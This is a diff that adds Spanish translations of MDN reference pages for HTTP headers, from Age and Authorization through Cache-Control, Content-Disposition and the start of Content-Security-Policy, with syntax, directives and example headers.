* (wildcard, comodín)
+
El valor "*" solo funciona como comodín para peticiones sin credenciales (peticiones sin HTTP cookies o autenticación HTTP). Para peticiones con credenciales, se trata como el literal "*", sin semánticas especiales.
+ La cabecera {{HTTPHeader("Authorization")}} siempre se añadirá de manera explícita.
+ Vea cómo se añade en los ejemplos de más abajo.
+
+ +

Ejemplos

+ +

Para exponer una cabecera no simple, puedes especificar:

+ +
Access-Control-Expose-Headers: Content-Length
+ +

Para exponer cabeceras personalizadas, como X-Kuma-Revision, puedes especificar varias cabeceras separadas por coma:

+ +
Access-Control-Expose-Headers: Content-Length, X-Kuma-Revision
+ +

En peticiones sin credenciales puedes utilizar el valor comodín:

+ +
Access-Control-Expose-Headers: *
+ +

Si necesitas acceder (exponer) la cabecera {{HTTPHeader("Authorization")}}, hay que añadirla de manera explícita:

+ +
Access-Control-Expose-Headers: *, Authorization
+ +

Especificaciones

+ + + + + + + + + + + + + + +
EspecificaciónEstadoComentario
{{SpecName('Fetch','#http-access-control-expose-headers', 'Access-Control-Expose-Headers')}}{{Spec2("Fetch")}}
+ +

Compatibilidad de navegadores

+ + + +

{{Compat("http.headers.Access-Control-Expose-Headers")}}

+ +

Notas de compatibilidad

+ + + +

Ver también

+ + diff --git a/files/es/web/http/headers/age/index.html b/files/es/web/http/headers/age/index.html new file mode 100644 index 0000000000..58498e3dca --- /dev/null +++ b/files/es/web/http/headers/age/index.html @@ -0,0 +1,75 @@ +--- +title: Age +slug: Web/HTTP/Headers/Age +tags: + - Encabezado HTTP Age +translation_of: Web/HTTP/Headers/Age +--- +
 
+ +
El encabezado Age contiene el tiempo medido en segundos que el objeto ha estado en la memoria caché de servidor proxy.
+ +
 
+ +
El encabezado Age suele estar seteado en 0 (cero). Si Age : 0 probablemente en ese instante se acaba de obtener la respuesta del servidor de origen, de lo contrario, por lo general esto se calcula como la diferencia entre la fecha actual del proxy y la fecha dada por el parámetro en cabecera "Date" ({{HTTPHeader("Date")}} ) incluído en la respuesta HTTP.
+ +
 
+ + + + + + + + + + + + +
Tipo de Cabecera{{Glossary("Response header")}}
Nombre de Cabecera Prohibido {{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
Age: <segundos>
+
+ +

Directivas

+ +
+
<segundos>
+
+

Número entero no negativo, que representa el tiempo en segundos que el objeto ha almacenado en la caché del proxy.

+
+
+ +

Ejemplos

+ +
Age: 24
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7234", "Age", "5.1")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
+ +

Compatibilidad de Navegadores

+ + + +

{{Compat("http.headers.Age")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/headers/allow/index.html b/files/es/web/http/headers/allow/index.html new file mode 100644 index 0000000000..d5a0e723ea --- /dev/null +++ b/files/es/web/http/headers/allow/index.html @@ -0,0 +1,61 @@ +--- +title: Allow +slug: Web/HTTP/Headers/Allow +translation_of: Web/HTTP/Headers/Allow +--- +
{{HTTPSidebar}}
+ +

La cabecera Allow enumera el conjunto de métodos admitidos por un recurso.

+ +

Esta cabecera debe ser enviada si el servidor responde con un estado {{HTTPStatus("405")}} Method Not Allowed para indicar cual metodo de peticion puede ser usado. Una cabecera Allow vacia indica que el recurso no permite ningún método de solicitud, que podría ocurrir temporalmente para un recurso determinado, por ejemplo.

+ + + + + + + + + + + + +
Header type{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintáxis

+ +
Allow: <http-methods>
+
+ +

Directivas

+ +
+
<http-methods>
+
La lista de métodos de solicitud HTTP permitidos.
+
+ +

Ejemplo

+ +
Allow: GET, POST, HEAD
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "Allow", "7.4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Vea también

+ + diff --git a/files/es/web/http/headers/authorization/index.html b/files/es/web/http/headers/authorization/index.html new file mode 100644 index 0000000000..79545c3a28 --- /dev/null +++ b/files/es/web/http/headers/authorization/index.html @@ -0,0 +1,86 @@ +--- +title: Authorization +slug: Web/HTTP/Headers/Authorization +translation_of: Web/HTTP/Headers/Authorization +--- +
{{HTTPSidebar}}
+ +

La cabecera de petición Authorization contiene las credenciales para autenticar a un usuario en un servidor, usualmente luego de que el servidor haya respondido con un estado {{HTTPStatus("401")}} Unauthorized y la cabecera {{HTTPHeader("WWW-Authenticate")}}.

+ + + + + + + + + + + + +
Tipo de cabecera{{Glossary("Cabecera de respuesta")}}
{{Glossary("Nombre de encabezado prohibido")}}No
+ +

Sintaxis

+ +
Authorization: <tipo> <credenciales>
+ +

Directivas

+ +
+
<tipo>
+
Tipo de Autenticación. Un tipo común es "Basic". Otros tipos: + +
+
<credenciales>
+
Si se utiliza el esquema de la autenticación "Basic", las credenciales son construidas de esta forma: +
    +
  • El usuario y la contraseña se combinan con dos puntos (aladdin:opensesame).
    • +
  • El string resultante está basado en la codificación base64 (YWxhZGRpbjpvcGVuc2VzYW1l).
    • +
+ +
+

Nota: ¡La codificación Base64 no es equivalente a encriptación o hashing! Este método es igual de seguro a enviar las credenciales en un archivo plano de texto (la codificación base64 es reversible). Lo recomendable es utilizar HTTPS en conjunto a la autenticación básica.

+
+
+
+ +

Ejemplos

+ +
Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+
+ +

Ver también HTTP authentication para ejemplos sobre cómo configurar servidores Apache o nginx para proteger su sitio con contraseña usando la autenticación básica HTTP.

+ +

Especificaciones

+ + + + + + + + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7235", "Authorization", "4.2")}}HTTP/1.1: Authentication
{{RFC("7617")}}The 'Basic' HTTP Authentication Scheme
+ +

Ver también

+ + diff --git a/files/es/web/http/headers/cache-control/index.html b/files/es/web/http/headers/cache-control/index.html new file mode 100644 index 0000000000..64d33e766e --- /dev/null +++ b/files/es/web/http/headers/cache-control/index.html @@ -0,0 +1,241 @@ +--- +title: Cache-Control +slug: Web/HTTP/Headers/Cache-Control +tags: + - Cache-Control + - Encabezado general + - HTTP + - Referencia + - encabezado HTTP +translation_of: Web/HTTP/Headers/Cache-Control +--- +
{{HTTPSidebar}}
+ +

El encabezado HTTP Cache-Control especifica directivas (instrucciones) para almacenar temporalmente (caching) tanto en peticiones como en respuestas. Una directiva dada en una petición no significa que la misma directiva estar en la respuesta.

+ + + + + + + + + + + + + + + + +
Tipo de encabezado{{Glossary("General header", "Encabezado general")}}
{{Glossary("Forbidden header name", "nombre prohibido del encabezado")}}no
{{Glossary("CORS-safelisted response header", "Respuesta del encabezado CORS-safelisted")}}yes
+ +

Sintaxis

+ +

Las directivas para almacenamiento temporal siguen las siguientes reglas para ser válidas:

+ + + +

Directivas de solicitud de cache

+ +

Las directivas estándar Cache-Control que pueden ser usadas por el cliente en una solicitud HTTP.

+ +
Cache-Control: max-age=<seconds>
+Cache-Control: max-stale[=<seconds>]
+Cache-Control: min-fresh=<seconds>
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: only-if-cached
+
+ +

Directivas de solicitud de cache

+ +

Las diretivas estándar Cache-Control que pueden ser usadas por el servidor en una respuesta HTTP.

+ +
Cache-Control: must-revalidate
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: public
+Cache-Control: private
+Cache-Control: proxy-revalidate
+Cache-Control: max-age=<seconds>
+Cache-Control: s-maxage=<seconds>
+
+ +

Directivas de extensión de Cache-Control

+ +

Las directivas de extensión Cache-Control no forman parte de la base del documento estandar para cacheo HTTP. Revisé la tabla de compatibilidad para ver su soporte, los agentes de usuario que no reconocen estas directivas las ignorarán.

+ +
Cache-Control: immutable
+Cache-Control: stale-while-revalidate=<seconds>
+Cache-Control: stale-if-error=<seconds>
+
+ +

Directivas

+ +

Cacheabilidad

+ + + +
+
public
+
La respuesta puede estar almacenada en cualquier memoria cache, incluso si la petición normalmente no es cacheable.
+
private
+
La respuesta puede estar almacenada sólo por el cache de un navegador, incluso si la petición es normalmente no cacheable. Si no desea almacenar la respuesta en algún cache, use en su lugar no-store. Esta directiva no es efectiva previniendo el cacheo al almacenar respuestas.
+
no-cache
+
La respuesta puede estar almacenada por cualquier cache, incluso si la petición es normalmente no cacheable. Sin embargo, la respuesta almacenada DEBE siempre pasar por una validación con el servidor de origen antes de utilizarse, por lo tanto, no se puede usar no-cache en conjunción con immutable. Si no desea almacenar la respuesta en algún cache, se debe utilizar no-store en su lugar. Esta directiva no es efectiva para prevenir el cacheo al guardar la respuesta.
+
no-store
+
La respuesta puede no ser almacenada en cualquier cache. Aunque otras directivas pueden definirla, ésta es la única directiva que se necesita para prevenir el cacheo de respuestas en navegadores modernos. max-age=0 es implícito. Configurando must-revalidate no tiene sentido porque en orden para revalidar se necesita que la respuesta este almacenada en la cache, lo cual no-store previene.
+
No copie y pege el método específico para Intenet Explorer pre-check=0,post-check=0 si lo ve en línea porque es completamente ignorado, confirmado por el tweet de un desarrollador de Edge.
+
Deshabilitando Cache vía Cache-Control
+
+ 
no-store
+
+
+ 
no-cache,no-store,must-revalidate,pre-check=0,post-check=0
+
+
+ +

Expiración

+ +
+
max-age=<seconds>
+
La cantidad máxima de tiempo un recurso es considerado reciente. A diferencia de Expires, esta directiva es relativa a el tiempo de la petición.
+
s-maxage=<seconds>
+
Anula el encabezado max-age o el Expires, pero solo para caches compartidos (e.g., proxies). Ignorado por caches privados.
+
max-stale[=<seconds>]
+
Indica que el cliente aceptará una respuesta tardía. Un valor opciona en segundo indica el límite superior de estancamiento que el cliente aceptará.
+
min-fresh=<seconds>
+
Indica que el cliente quiere una respuesta que será reciente por al menos el número específico de segundos.
+
stale-while-revalidate=<seconds> {{Experimental_Inline}}
+
Indica que el cliente aceptará una respuesta tardía, mientras asíncronamente revisa por el fondo por una reciente. El valor de los segundos indica que tan largo es el cliente aceptará una respuesta estancada. Ver "Manteniendo las cosas frescas con stale-while-revalidate" para más información.
+
stale-if-error=<seconds> {{Experimental_Inline}}
+
Indica que el cliente aceptará una respuesta tardía si la revisión por una resúesta reciente falla. El valor de los segundos indica cuanto tiempo el cliente aceptará la respuesta tardía después de una expiración inicial.
+
+ +

Revalidación y recarga

+ +
+
must-revalidate
+
Indica que una vez un recurso se vuelve obsoleto, el cache no debe usar su copia obsoleta sin correctamente validar en el servidor de origen.
+
proxy-revalidate
+
Similar a must-revalidate, pero solo para caches compartidos (es decir, proxies). Ignorado por caches privados.
+
immutable
+
Indica que la respuesta del cuerpo no debería cambiar con el tiempo. El recurso, si no ha expirado, no ha cambiado en el servidor y por lo tanto el cliente no debería enviar una revalidación condicional por ello (es decir, If-None-Match o If-Modified-Since) para revisar por actualizaciones, incluso cuando el usuario explícitamente recarga la página. Los clientes que no son consientes de esta extensión las ignoran deacuerdo a la especificación HTTP. En Firefox, immutable solo es respetada en transacciones https://. Para más información, ver también este árticulo de un blog.
+
+ +

Otros

+ +
+
no-transform
+
No hay transformaciones o conversiones deberían hacerse al recurso. Los encabezados Content-Encoding, Content-Range, Content-Type no deben ser modificados por un proxy. Un proxy no transparente o una característica de un navegador como podría ser Google's Light Mode, por ejemplo, convierte entre formatos de imagenes con el motivo de guardar espacio del cache o para reducir la cantidad de tráfico en un enlace lento. La directiva no-transform no permite esto.
+
only-if-cached
+
Definida por el cliente para indicar "no usar la red" para la respuesta. la cache debería ya sea responder usando una respuesta almacenada, o responder con un código de estado 504. Encabezados condicionales como If-None-Match no deberían ser definidos. No hay efecto si only-if-cached es definido por un servidor como parte de una respuesta.
+
+ +

Ejemplos

+ +

Prevención de almacenamiento en caché

+ +

Para desactivar el almacenamiento en caché, puede enviar el siguiente encabezado de respuesta. Además, ver también los encabezados Expires y Pragma.

+ +
+
+ 
Cache-Control: no-store
+
+
+
+ 
Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0
+
+
+
+ +

Almacenando temporalmente recursos estáticos

+ +

Para los archivos de la aplicación que no cambian, generalmente se puede agregar almacenamiento en caché agresivo enviando el encabezado de respuesta a continuación. Esto incluye, por ejemplo, archivos estáticos servidos por la aplicación, como imágenes, archivos CSS y archivos JavaScript. Además, vea también, el encabezado Expires.

+ +
+
+ 
Cache-Control: public, max-age=604800, immutable
+
+
+
+ +

Requiriendo revalidación

+ +

Especificando no-cache o max-age=0 se indica a los clientes que se puede almacenar temporalmente un recurso y debe revalidarse en cada ocasión antes de utilizarse. Esto significa que las peticiones HTTP ocurren cada vez, pero se pueden saltar la descarga del cuerpo HTTP si el contenido es válido.

+ +
+
+ 
Cache-Control: no-cache
+Cache-Control: no-cache, max-age=0
+Cache-Control: no-cache, max-age=0, stale-while-revalidate=300
+
+
+
+ +

Especificaciones

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
EspecificacionesEstadoComentario
{{RFC(8246, "HTTP Immutable Responses")}}IETF RFC
{{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}}IETF RFC
{{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}}IETF RFCDefinición inicial
+ +

Compatibilidad de los navegadores

+ + + +

{{Compat("http.headers.Cache-Control")}}

+ +

Véase también

+ + diff --git a/files/es/web/http/headers/content-disposition/index.html b/files/es/web/http/headers/content-disposition/index.html new file mode 100644 index 0000000000..62c66192e7 --- /dev/null +++ b/files/es/web/http/headers/content-disposition/index.html @@ -0,0 +1,144 @@ +--- +title: Content-Disposition +slug: Web/HTTP/Headers/Content-Disposition +translation_of: Web/HTTP/Headers/Content-Disposition +--- +
{{HTTPSidebar}}
+ +
En una respuesta HTTP regular, el encabezado Content-Disposition indica si el contenido se espera que se muestre en línea en el navegador, esto es, como una o como parte de una página web, o como un archivo adjunto, que se puede descargar y guardar localmente.
+ +
 
+ +
En un cuerpo multipart/form-data, el encabezado general Content-Disposition puede ser utilizado en la subparte de un cuerpo multipartes para dar información acerca del campo al que aplica. La subparte es delimitada por el boundary (límite) definido en el encabezado {{HTTPHeader("Content-Type")}}. Cuando se utiliza en el propio cuerpo, Content-Disposition no tiene efecto.
+ +
 
+ +
El encabezado Content-Disposition está definido en el contexto de mensajes MIME para correos electrónicos, pero sólo un subconjuto de los parámetros posibles aplican a formularios HTTP y peticiones {{HTTPMethod("POST")}}. Sólo el valor form-data, como las directivas opcionales name and filename, pueden ser utilizadas en el contexto HTTP.
+ +

 

+ + + + + + + + + + + + +
Tipo de encabezado{{Glossary("Response header")}} (para el cuerpo principal)
+ {{Glossary("General header")}} (para una subparte de un cuerpo multipartes)
{{Glossary("Forbidden header name")}}no
+ +

 

+ +

Sintaxis

+ +

Como encabezado de respuesta para cuerpo principal

+ +

El primer parámetro en el contexto HTTP o es inline (valor predeterminado, indicando que puede ser mostrado dentro de una página web, o como la página web) o attachment (indicando que será descargado; la mayoría de los navegadores mostrando un diálogo 'Guardar como', prellenado con el valor del parámetro filename, en caso de estar presente).

+ +
Content-Disposition: inline
+Content-Disposition: attachment
+Content-Disposition: attachment; filename="filename.jpg"
+ +

Como encabezado para un cuerpo multipartes

+ +

El primer parámetro en el contexto HTTP siempre es form-data; parámetros adicionales son insensibles a mayúsculas y tienen argumentos que usan sintaxis de textos entre comillas después del signo de '='. Múltiples parámetros se separan por punto y coma (';').

+ +
Content-Disposition: form-data
+Content-Disposition: form-data; name="fieldName"
+Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"
+ +

Directivas

+ +
+
name
+
Es seguida de un texto que contiene el nombre del campo de HTML en el formulario a la que el contenido de la subparte refiere. Cuando se usan múltiples archivos en el mismo campo (por ejemplo, el atributo {{htmlattrxref("multiple", "input")}} de un elemento {{HTMLElement("input","<input type=file>")}}), puede haber varias subpartes con el mismo nombre.
+ Un name con valor de '_charset_' indica que la parte no es un campo HTML, sino el conjunto de caracteres predeterminado para partes sin información explícita sobre su conjunto de caracteres.
+
filename
+
+

Es seguida de un texto que contiene el nombre original del archivo transmitido. Siempre es opcional y no debe ser utilizado a ciegas por la aplicación: información sobre la ruta  debe ser despojada, y se debe realizar una conversión a las reglas del sistema de archivos del servidor. Este parámetro provee mayormente información indicativa. Cuando se usa en combinación con Content-Disposition: attachment, es utilizado como el nombre de archivo predeterminado en caso de que se presente al usuario un diálogo de 'Guardar como'.

+
+
filename*
+
+

Los parámetros filename y filename* difieren únicamente en que filename* utiliza encodeado definido en RFC 5987. Cuando ambos están presentes en un valor de campo de encabezado simple, filename* es preferido sobre filename cuando ambos están presentes y entendidos.

+
+
+ +

Ejemplos

+ +

Una respuesta generando el diálogo 'Guardar como':

+ +
200 OK
+Content-Type: text/html; charset=utf-8
+Content-Disposition: attachment; filename="genial.html"
+Content-Length: 22
+
+<HTML>Guárdame!</HTML>
+
+
+ +

Este archivo simple de HTML será guardado como una descarga regular en lugar de mostrarse en el navegador. La mayoría de los navegadores propondrá guardarlo como genial.html ya que es el nombre (predeterminado).

+ +

Un ejemplo de un formulario HTML, publicado usando el formato multipart/form-data que hace uso del encabezado Content-Disposition:

+ +
POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="campo1"
+
+valor1
+--boundary
+Content-Disposition: form-data; name="campo2"; filename="ejemplo.txt"
+
+valor2
+--boundary--
+ +

Especificaciones

+ + + + + + + + + + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7578")}}Returning Values from Forms: multipart/form-data (Retornando Valores desde Formularios: multipart/form-data)
{{RFC("6266")}}Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP) (Uso del campo de encabezado Content-Disposition en HTML)
{{RFC("2183")}}Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field (Comunicando Información de Presentación en Mensajes de Internet: el Campo de Encabezado Content-Disposition)
+ +

Compatibilidad con navegadores

+ + + +

{{Compat("http.headers.Content-Disposition")}}

+ +

Notas de compatibilidad

+ + + +

Ver también

+ + diff --git a/files/es/web/http/headers/content-encoding/index.html b/files/es/web/http/headers/content-encoding/index.html new file mode 100644 index 0000000000..2c868ca5a6 --- /dev/null +++ b/files/es/web/http/headers/content-encoding/index.html @@ -0,0 +1,97 @@ +--- +title: Content-Encoding +slug: Web/HTTP/Headers/Content-Encoding +tags: + - Cabecera + - Referencia +translation_of: Web/HTTP/Headers/Content-Encoding +--- +
{{HTTPSidebar}}
+ +

La cabecera Content-Encoding es usada para comprimir el media-type. Cuando está presente, su valor indica qué codificación de contenido adicional ha sido aplicada al cuerpo de la entidad. Permite al cliente saber cómo decodificar para obtener el media-type referido por la cabecera Content-Type.

+ +

Se recomienda comprimir los datos tanto como sea posible y por lo tanto utilizar este campo, pero algunos tipos de recursos, como imágenes JPEG, ya están comprimidos. A veces, el uso de compresión adicional no reduce el tamaño de la petición e incluso puede hacer que la petición sea más larga.

+ + + + + + + + + + + + +
Header type{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
Content-Encoding: gzip
+Content-Encoding: compress
+Content-Encoding: deflate
+Content-Encoding: identity
+Content-Encoding: br
+
+ +

Directivas

+ +
+
gzip
+
Un formato que usa Lempel-Ziv coding (LZ77), con un CRC de 32 bits. Este es originalmente el formato del programa gzip de UNIX . El estándar HTTP/1.1 también recomienda que los servidores que soporten esta codificación también deberían reconocer  x-gzip como un alias por motivos de compatibilidad.
+
compress
+
Un formato que usa el algoritmo Lempel-Ziv-Welch (LZW). El nombre viene del programa compress de UNIX , que implementó este algoritmo.
+ Al igual que el programa compress, el cual ha desaparecido de la mayoría de distribuciones UNIX, esta codificación apenas es utilizada por los navegadores de hoy día, en parte debido a un problema de patente (la cual expiró en 2003).
+
deflate
+
Usa la estructura zlib (definida en RFC 1950), con el algoritmo de compresión deflate (definido en RFC 1951).
+
identity
+
Indica la función de identidad (es decir, sin compresión ni modificación). Este símbolo, excepto si se especifica explícitamente, siempre se considera aceptable.
+
br
+
Un formato que usa el algoritmo Brotli.
+
+ +

Ejemplos

+ +

Comprimiendo con gzip

+ +

En el lado del cliente, puede detectar una lista de esquemas de compresión que serán enviados en una petición HTTP. La cabecera {{HTTPHeader("Accept-Encoding")}} se utiliza para la negociación de la codificación del contenido.

+ +
Accept-Encoding: gzip, deflate
+ +

El servidor responde con el esquema usado, indicado por la cabecera de respuesta Content-Encoding.

+ +
Content-Encoding: gzip
+ +

Ten en cuenta que el servidor no está obligado a usar algun método de compresión. La compresión depende directamente de la configuración del servidor y los módulos que utilice.

+ +

Especificaciones

+ + + + + + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "Content-Encoding", "3.1.2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semántica y Contenido
http://www.ietf.org/id/draft-alakuijala-brotliFormato de datos comprimidos Brotli
+ +

Compatibilidad con los navegadores

+ + + +

{{Compat("http/headers/content-encoding")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/headers/content-length/index.html b/files/es/web/http/headers/content-length/index.html new file mode 100644 index 0000000000..0521cf798e --- /dev/null +++ b/files/es/web/http/headers/content-length/index.html @@ -0,0 +1,60 @@ +--- +title: Content-Length +slug: Web/HTTP/Headers/Content-Length +translation_of: Web/HTTP/Headers/Content-Length +--- +
{{HTTPSidebar}}
+ +

El encabezado de entidad Content-Length indica el tamaño de la entidad-cuerpo, en bytes, enviado al destinatario.

+ + + + + + + + + + + + +
Tipo de cabecera{{Glossary("Entity header")}}
{{Glossary("Nombre de cabecera prohibido")}}si
+ +

Sintaxis

+ +
Content-Length: <longitud>
+
+ +

Directivas

+ +
+
<length>
+
La longitud en número decimal de octetos.
+
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7230", "Content-Length", "3.3.2")}}Protocolo de Transferencia de Hipertexto (HTTP/1.1): Sintaxis y enrutamiento de mensajes
+ +

Compatibilidad con navegadores

+ + + +

{{Compat("http.headers.Content-Length")}}

+ +

Véase también

+ + diff --git a/files/es/web/http/headers/content-location/index.html b/files/es/web/http/headers/content-location/index.html new file mode 100644 index 0000000000..eecadf51e5 --- /dev/null +++ b/files/es/web/http/headers/content-location/index.html @@ -0,0 +1,156 @@ +--- +title: Content-Location +slug: Web/HTTP/Headers/Content-Location +translation_of: Web/HTTP/Headers/Content-Location +--- +
{{HTTPSidebar}}
+ +

La cabecera Content-Location indica una ubicación alternativa para los datos devueltos. Su principal uso es indicar la URL de un recurso transmitido y que ha resultado de una negociación de contenido.

+ +

Las cabeceras {{HTTPHeader("Location")}} y Content-Location son diferentes. Location indica la URL de una redirección, mientras que Content-Location indica la URL directa a ser utilizada para acceder al recurso, sin necesidad de realizar negociación de contenido en el futuro. Mientras que Location es una cabecera asociada con la respuesta, Content-Location está asociada con los datos devueltos. Esta distinción puede parecer abstracta sin ver algunos ejemplos.

+ + + + + + + + + + + + +
Header type{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
Content-Location: <url>
+
+ +

Directivas

+ +
+
<url>
+
Una URL relativa o absoluta (a la URL de la petición).
+
+ +

Ejemplos

+ +

Solicitando datos de un servidor en distintos formatos

+ +

Suponga que la API de un sitio web puede devolver datos en los formatos {{glossary("JSON")}}, {{glossary("XML")}}, o CSV. Si la URL de un documento particular se encuentra en https://example.com/documents/foo, el sitio web podría retornar distintas URLs en la cabecera Content-Location dependiendo de la cabecera {{HTTPHeader("Accept")}} enviada en la petición: 

+ + + + + + + + + + + + + + + + + + + + + + +
Request headerResponse header
Accept: application/json, text/jsonContent-Location: /documents/foo.json
Accept: application/xml, text/xmlContent-Location: /documents/foo.xml
Accept: text/plain, text/*Content-Location: /documents/foo.txt
+ +

Estas URLs son ejemplos — el sitio web podría servir los distintos tipos de ficheros con cualquier patrón de URL que desee, por ejemplo, por medio de un parámetro en la query: /documents/foo?format=json, /documents/foo?format=xml, y así sucesivamente.

+ +

De esa forma el cliente podrÍa recordar que la versión en formato JSON está disponible en esa URL particular, saltándose el paso de la negociación de contenido la próxima vez que solicite ese documento.

+ +

El servidor podría también considerar otras cabeceras de negociación de contenido, tales como {{HTTPHeader("Accept-Language")}}.

+ +

Apuntando a un nuevo documento (HTTP 201 Created)

+ +

Suponga que está creando una nueva entrada de un blog, a través de la API del sitio web:

+ +
PUT /new/post
+Host: example.com
+Content-Type: text/markdown
+
+# Mi primera entrada de blog!
+
+Hice esto a través de la API de `example.com`'. Espero que funcione.
+
+ +

El sitio devuelve un mensaje genérico de éxito confirmando que el post ha sido publicado. El servidor especifica donde se encuentra la nueva entrada utilizando Content-Location:

+ +
HTTP/1.1 201 Created
+Content-Type: text/plain; charset=utf-8
+Content-Location: /my-first-blog-post
+
+✅ Success!
+
+ +

Indicating the URL of a transaction's result

+ +

Digamos que tiene un formulario <form>  para el envío de dinero a otro usuario de un sitio web.

+ +
<form action="/enviar-pago" method="post">
+  <p>
+    <label>A quien desea enviar dinero?
+      <input type="text" name="destinatario">
+    </label>
+  </p>
+
+  <p>
+    <label>Cuanto dinero?
+      <input type="number" name="cantidad">
+    </label>
+  </p>
+
+  <button type="submit">Enviar dinero</button>
+</form>
+
+ +

Cuando el formulario es enviado, el sitio web genera un recibo o comprobante de la transacción. El servidor podría utilizar la cabecera Content-Location para indicar la URL de ese comprobante para un acceso futuro.

+ +
HTTP/1.1 200 OK
+Content-Type: text/html; charset=utf-8
+Content-Location: /mis-recibos/38
+
+<!doctype html>
+(Lots of HTML…)
+
+<p>Ha enviado $38.00 a UsuarioFicticio.</p>
+
+(Lots more HTML…)
+
+ +

Especificaciones

+ + + + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "Content-Location", "3.1.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad en navegadores

+ + + +

{{Compat("http.headers.Content-Location")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/headers/content-security-policy/index.html b/files/es/web/http/headers/content-security-policy/index.html new file mode 100644 index 0000000000..5659403d96 --- /dev/null +++ b/files/es/web/http/headers/content-security-policy/index.html @@ -0,0 +1,252 @@ +--- +title: Content-Security-Policy +slug: Web/HTTP/Headers/Content-Security-Policy +tags: + - CSP + - HTTP + - Reference + - header +translation_of: Web/HTTP/Headers/Content-Security-Policy +--- +
{{HTTPSidebar}}
+ +
+ +


+ La cabecera HTTP Content-Security-Policy  en la respuesta permite a los administradores de un sitio web controlar los recursos que el User-Agent puede cargar a una pagina. Con algunas (Poquísimas) excepciones, las políticas implican principalmente especificar el servidor de origen la protección de puntos finales del script. Esto ayuda a protegerse contra ataques Cross-site scripting ({{Glossary("XSS")}}).

+ +
+
+
+ +

Para mas información, ve también este articulo en Content Security Policy (CSP).

+ +
+ + + + + + + + + + + + +
Tipo de cabecera{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
Content-Security-Policy: <policy-directive>; <policy-directive>
+
+ +

Directivas

+ +

{{Glossary("Fetch directive", "Fetch directives")}}

+ +

"Fetch directives" controla la ubicación o ubicaciones desde la cual se pueden cargar ciertos tipos de recursos

+ +

Lista de Content Security Policy Fetch directives

+ +
+
{{CSP("child-src")}}
+
Define los origenes válidos para web workers y contextos de navegación anidados cargados usando elementos como {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}. +
+

En lugar de child-src, los autores quienes deseen regular los contextos de navegación anidados y "workers" deberían usar las directivas {{CSP("frame-src")}} y {{CSP("worker-src")}}, respectivamente.

+
+
+
{{CSP("connect-src")}}
+
Restringe las URLs que pueden ser cargados usando scripts.
+
{{CSP("default-src")}}
+
Serves as a fallback for the other {{Glossary("Fetch directive", "fetch directives")}}.
+
{{CSP("font-src")}}
+
Especifica origenes válidos para las fuentes cargadas usando {{cssxref("@font-face")}}.
+
{{CSP("frame-src")}}
+
Especifica origenes válidos para contextos de navageción anidada cargados usando elementos como {{HTMLElement("frame")}} y  {{HTMLElement("iframe")}}.
+
{{CSP("img-src")}}
+
Especifica origenes válidos de imágenes y favicons.
+
{{CSP("manifest-src")}}
+
Especifica origenes válidos de archivos de manifiesto de una aplicación.
+
{{CSP("media-src")}}
+
Especifica origenes válidos para carga de archivos usando elementos como {{HTMLElement("audio")}} , {{HTMLElement("video")}} y {{HTMLElement("track")}}.
+
{{CSP("object-src")}}
+
Specifies valid sources for the {{HTMLElement("object")}}, {{HTMLElement("embed")}}, and {{HTMLElement("applet")}} elements.
+
Elements controlled by object-src are perhaps coincidentally considered legacy HTML elements and aren't recieving new standardized features (such as the security attributes sandbox or allow for <iframe>). Therefore it is recommended to restrict this fetch-directive (e.g. explicitly set object-src 'none' if possible).
+
{{CSP("prefetch-src")}}
+
Specifies valid sources to be prefetched or prerendered.
+
{{CSP("script-src")}}
+
Specifies valid sources for JavaScript.
+
{{CSP("style-src")}}
+
Specifies valid sources for stylesheets.
+
{{CSP("webrtc-src")}} {{experimental_inline}}
+
Specifies valid sources for WebRTC connections.
+
{{CSP("worker-src")}}
+
Specifies valid sources for {{domxref("Worker")}}, {{domxref("SharedWorker")}}, or {{domxref("ServiceWorker")}} scripts.
+
+ +

{{Glossary("Document directive", "Document directives")}}

+ +

Document directives govern the properties of a document or worker environment to which a policy applies.

+ +
+
{{CSP("base-uri")}}
+
Restricts the URLs which can be used in a document's {{HTMLElement("base")}} element.
+
{{CSP("plugin-types")}}
+
Restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded.
+
{{CSP("sandbox")}}
+
Enables a sandbox for the requested resource similar to the {{HTMLElement("iframe")}} {{htmlattrxref("sandbox", "iframe")}} attribute.
+
{{CSP("disown-opener")}} {{obsolete_inline}}
+
Ensures a resource will disown its opener when navigated to.
+
+ + + +

Navigation directives govern to which location a user can navigate to or submit a form to, for example.

+ +
+
